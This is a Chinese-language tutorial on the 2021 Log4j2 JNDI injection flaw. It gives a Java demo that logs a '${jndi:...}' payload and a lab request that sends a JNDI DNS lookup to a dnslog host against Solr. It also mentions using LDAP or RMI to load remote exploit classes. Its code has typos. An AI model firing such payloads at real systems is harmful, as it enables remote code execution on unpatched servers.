2021年一个log4j2的JNDI注入漏洞轰动中外,因为其影响力非常大并且使用门槛比较低。Log4j2并不是一个服务,只是java一个记录日志的类库,但是java中用来记录日志的库本就没几个。所以使用非常广
形成原因是log4j2使用一个Lookups的机制,也就是记录日志的时候会嵌入用户输入数据。这个Lookups可以是Environment,System Properties或者JNDI,这就导致攻击者可以通过参数自己创建一个JNDI都注入点,进而漏洞利用
比如下面一个测试demo
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
public calss log4j2Test {
public final static Logger logger = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) throws Exception{
String user="${jndi:loap://localhost:1234/exp}";
logger.error("{} said it's ok",user);
}
}
JNDI可以访问的命名或目录服务很多,比如RMI,LOAP以及DNS,这里如果访问RMI和LOAP是可以利用Reference加载远程Factory类实现任意代码执行的,但是需要搭建LOAP服务以及一个web server用来存放exploit.class
为了方便,我们只需要一个DNS测试就可以证明存在JNDI注入漏洞了
使用Docker搭建一个环境,
开启环境后直接构造请求包访问
/solr/admin/cores?action=${jndi:dns://d1hjhc.dnslog.cn}
这里利用jndi访问dns服务
可以看到虽然返回400 请求无效,但是记录日志的时候还是使用JNDI访问了这个DNS服务去解析域名,这就证明漏洞是生效的